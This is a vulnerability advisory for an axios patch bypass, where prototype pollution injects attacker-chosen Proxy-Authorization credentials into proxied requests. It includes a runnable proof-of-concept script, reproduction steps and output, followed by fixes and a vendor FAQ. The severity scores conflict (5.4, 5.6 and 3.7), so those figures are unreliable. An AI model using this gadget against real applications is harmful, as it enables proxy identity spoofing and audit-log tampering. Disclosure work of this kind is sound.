CVE-2026-44489

[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution, Incomplete Null-Prototype Fix in Axios 1.15.2

The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.

The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.

Severity: Medium (CVSS 5.4)
Affected Versions: 1.15.2 (and potentially 1.15.1)
Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())

CWE

• CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
• CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

CVSS 3.1

Score: 5.6 (Medium)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)

This Is a Patch Bypass

This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.

However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.

Root Cause Analysis

Step 1: utils.merge() creates plain {} for nested objects

File: lib/utils.js, line 406

function merge(/* obj1, obj2, obj3, ... */) {
  const result = {};  // ← Plain object with Object.prototype!
  // ...
}

When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.

Step 2: setProxy() reads proxy properties without hasOwnProperty

File: lib/adapters/http.js, lines 209-223

function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  // ...
  if (proxy) {
    if (proxy.username) {                    // ← traverses Object.prototype!
      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
    }

    if (proxy.auth) {                        // ← traverses Object.prototype!
      const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);
      if (validProxyAuth) {
        proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');
      }
      // ...
      const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');
      options.headers['Proxy-Authorization'] = 'Basic ' + base64;  // ← INJECTED!
    }
    // ...
  }
}

Complete Attack Chain

Object.prototype.username = 'attacker'
Object.prototype.password = 'stolen-creds'
         │
         ▼
  User config: { proxy: { host: 'proxy.corp', port: 8080 } }
         │
         ▼
  mergeConfig() → utils.merge() → new plain {}
  config.proxy = { host: 'proxy.corp', port: 8080 }  (own properties)
  config.proxy inherits from Object.prototype         (has .username, .password)
         │
         ▼
  setProxy() at http.js:209:
    proxy.username → 'attacker' (from Object.prototype) → truthy!
    proxy.auth = 'attacker' + ':' + 'stolen-creds'
         │
         ▼
  http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
  Injected into EVERY proxied HTTP request!

Proof of Concept

import http from 'http';
import axios from './index.js';

// Proxy server logs received Proxy-Authorization
const proxyServer = http.createServer((req, res) => {
  console.log('Proxy-Authorization:', req.headers['proxy-authorization']);
  res.writeHead(200);
  res.end('OK');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;

// Target server
const target = http.createServer((req, res) => { res.writeHead(200); res.end(); });
await new Promise(r => target.listen(0, r));

// Simulate prototype pollution from vulnerable dependency
Object.prototype.username = 'attacker';
Object.prototype.password = 'stolen-creds';

// Developer sets proxy WITHOUT auth, expects no auth header
await axios.get(`http://127.0.0.1:${target.address().port}/api`, {
  proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },
});

// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
// Decoded: attacker:stolen-creds

delete Object.prototype.username;
delete Object.prototype.password;
proxyServer.close();
target.close();

Reproduction Environment

Axios version: 1.15.2 (latest patched release)
Node.js version: v20.20.2
OS: macOS Darwin 25.4.0

Reproduction Steps

# 1. Install axios 1.15.2
npm pack [email protected]
tar xzf axios-1.15.2.tgz && mv package axios-1.15.2
cd axios-1.15.2 && npm install

# 2. Save PoC as poc.mjs (code from Section 7 above)

# 3. Run
node poc.mjs

Verified PoC Output

=== Axios 1.15.2: PP → Proxy-Authorization Injection ===

[1] Normal request with proxy (no auth):
  Proxy-Authorization: none

[2] Prototype Pollution: Object.prototype.username = "attacker"
  Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
  Decoded: attacker:stolen-creds
  → PP injected proxy credentials: attacker:stolen-creds

[3] Impact:
  ✗ Attacker injects Proxy-Authorization into all proxied requests
  ✗ If proxy logs auth, attacker credential appears in proxy logs
  ✗ If proxy authenticates based on this, attacker controls proxy identity
  ✗ Works on 1.15.2 despite null-prototype config fix
  ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype

Confirming the Bypass Mechanism

Direct PP (config.proxy), BLOCKED by 1.15.2:
  Object.prototype.proxy = { host: 'evil' }
  config.proxy = undefined            ← null-prototype blocks ✓

Nested PP (proxy.username), BYPASSES 1.15.2:
  Object.prototype.username = 'attacker'
  config.proxy = { host: 'legit', port: 8080 }  ← user-set, own properties
  config.proxy own keys: ['host', 'port']        ← username NOT own
  config.proxy.username = 'attacker'             ← inherited from Object.prototype!
  hasOwn(config.proxy, 'username') = false

## Impact Analysis

- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.
- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation.
- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.
- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth, a common pattern in corporate environments.

### Prerequisite

- Application must use `config.proxy` (explicit proxy configuration)
- A separate prototype pollution vulnerability must exist in the dependency tree
- `Object.prototype.username` or `Object.prototype.auth` must be polluted

## Recommended Fix

### Fix 1: Use `hasOwnProperty` in `setProxy()`

```javascript
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  // ...
  if (proxy) {
    const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);

    if (hasOwn(proxy, 'username')) {
      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
    }

    if (hasOwn(proxy, 'auth')) {
      // ... existing auth handling ...
    }
  }
}

Fix 2: Use null-prototype objects in utils.merge()

// lib/utils.js line 406
function merge(/* obj1, obj2, obj3, ... */) {
  const result = Object.create(null);  // ← null-prototype for nested objects too
  // ...
}

Fix 3 (Comprehensive): Apply null-prototype to all objects created by getMergedValue()

References

• CWE-1321: Prototype Pollution
• GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)
• GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)
• Axios GitHub Repository

CVE-2026-44489 has a CVSS score of 3.7 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.16.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-44489? CVE-2026-44489 is a low-severity security vulnerability in axios (npm), affecting versions = 1.15.2. It is fixed in 1.16.0.
2. How severe is CVE-2026-44489? CVE-2026-44489 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of axios are affected by CVE-2026-44489? axios (npm) versions = 1.15.2 is affected.
4. Is there a fix for CVE-2026-44489? Yes. CVE-2026-44489 is fixed in 1.16.0. Upgrade to this version or later.
5. Is CVE-2026-44489 exploitable, and should I be worried? Whether CVE-2026-44489 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44489 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44489? Upgrade axios to 1.16.0 or later.